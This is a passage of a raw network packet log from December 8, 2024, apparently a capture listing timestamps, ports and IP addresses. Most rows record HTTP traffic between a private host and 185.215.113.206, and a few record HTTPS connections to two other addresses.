Dec 8, 2024 17:45:48.532550097 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.532598972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.532620907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.532665014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.533566952 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.533622026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.533653021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.533719063 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.534771919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.534826040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.534842968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.534882069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.535654068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.535703897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.535706043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.535819054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.536612034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.536663055 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.536731958 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.536825895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.537708044 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.537775993 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.537812948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.537874937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.538801908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.538873911 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.538913965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.538965940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.539582968 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.539604902 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.539658070 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.539663076 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.539719105 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.539805889 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.539937019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.539952040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.540008068 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.540721893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.540747881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.540798903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.540832043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.541723013 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.541789055 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.541805029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.541856050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.542701006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.542726040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.542761087 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.542857885 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.543719053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.543766022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.543785095 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.543926954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.544717073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.544806004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.544809103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.544914961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.545918941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.545970917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.546025991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.546068907 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.546891928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.546932936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.546947002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.547010899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.547837019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.547898054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.547905922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.547976971 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.547991991 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.548021078 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.548044920 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.548048973 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.548111916 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.553164005 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.553687096 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.553706884 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.554179907 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.554188013 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.554609060 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.554960012 CET	49836	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.554972887 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.555413961 CET	49836	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.555421114 CET	443	49836	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.555617094 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.555701971 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.555881023 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.555883884 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.555896997 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.555898905 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.555922985 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.555964947 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.555973053 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.555999994 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.556019068 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.556226969 CET	49838	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.556233883 CET	443	49838	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.556493044 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.556504011 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.556571960 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.556583881 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.556911945 CET	49839	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.556915045 CET	443	49839	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.556982040 CET	49837	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:48.556984901 CET	443	49837	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:48.562320948 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.562386990 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.562731028 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.562741995 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.562906981 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.562926054 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.562962055 CET	49840	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.562968969 CET	443	49840	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.562978983 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.562985897 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.563035965 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.571307898 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.571338892 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.571404934 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.571413994 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.571928024 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.579251051 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.579268932 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.579329967 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.579338074 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.579562902 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.602993965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.603069067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.603113890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.603176117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.603415966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.603482962 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.603641987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.603698969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.604461908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.604520082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.604690075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.604790926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.605550051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.605603933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.605715990 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.605768919 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.606479883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.606609106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.606669903 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.607589006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.607647896 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.607656002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.607805014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.608587980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.608647108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.608680010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.608778000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.609622955 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.609680891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.609711885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.609776974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.610498905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.610629082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.610647917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.610802889 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.611516953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.611613035 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.611630917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.611682892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.612561941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.612615108 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.612669945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.612745047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.613523006 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.613610029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.613651991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.613753080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.614541054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.614613056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.614717960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.615591049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.615632057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.615776062 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.616589069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.616660118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.616692066 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.616748095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.617630959 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.617690086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.617692947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.617862940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.618619919 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.618670940 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.618741035 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.618814945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.619689941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.619745016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.619770050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.619833946 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.620650053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.620747089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.620754004 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.620804071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.621642113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.621707916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.621761084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.621843100 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.622705936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.622833014 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.622987032 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.623703957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.623766899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.623830080 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.623887062 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.624707937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.624761105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.624810934 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.624881029 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.625742912 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.625794888 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.625901937 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.625957966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.626749039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.626863956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.626867056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.626921892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.627774000 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.627825022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.627883911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.628000021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.628772020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.628870010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.628881931 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.629014015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.629781008 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.629847050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.629965067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.630047083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.630790949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.630851984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.630951881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.631172895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.631798983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.631858110 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.631936073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.631988049 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.632806063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.632894039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.632949114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.633014917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.633816957 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.633886099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.633943081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.633996964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.634849072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.634908915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.634991884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.635042906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.635827065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.635905981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.715260029 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.715281010 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.715346098 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.715362072 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.715401888 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.715411901 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.724818945 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.724878073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.725068092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.725100994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.725112915 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.725148916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.725148916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.725148916 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.725181103 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.725202084 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.725244045 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.725251913 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.725287914 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.726437092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.726485014 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.726603031 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.726669073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.727492094 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.727504015 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.727688074 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.728164911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.728178024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.728226900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.729394913 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.729455948 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.729549885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.729607105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.730374098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.730391026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.730431080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.730457067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.731410980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.731426954 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.731524944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.732104063 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.732120037 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.732171059 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.732177973 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.732229948 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.732382059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.732393026 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.732474089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.733342886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.733400106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.733488083 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.733541965 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.734373093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.734436989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.734519958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.734601021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.735477924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.735488892 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.735577106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.736526012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.736537933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.736584902 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.737503052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.737514019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.737551928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.737847090 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.737863064 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.737912893 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.737921000 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:48.737960100 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:48.738424063 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.738435984 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.738492966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.739538908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.739550114 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.739609957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.740510941 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.740525007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.740556955 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.741466999 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.741478920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.741548061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:48.742608070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:48.742619991 CET	80	49805	185.215.113.206	192.168.2.6
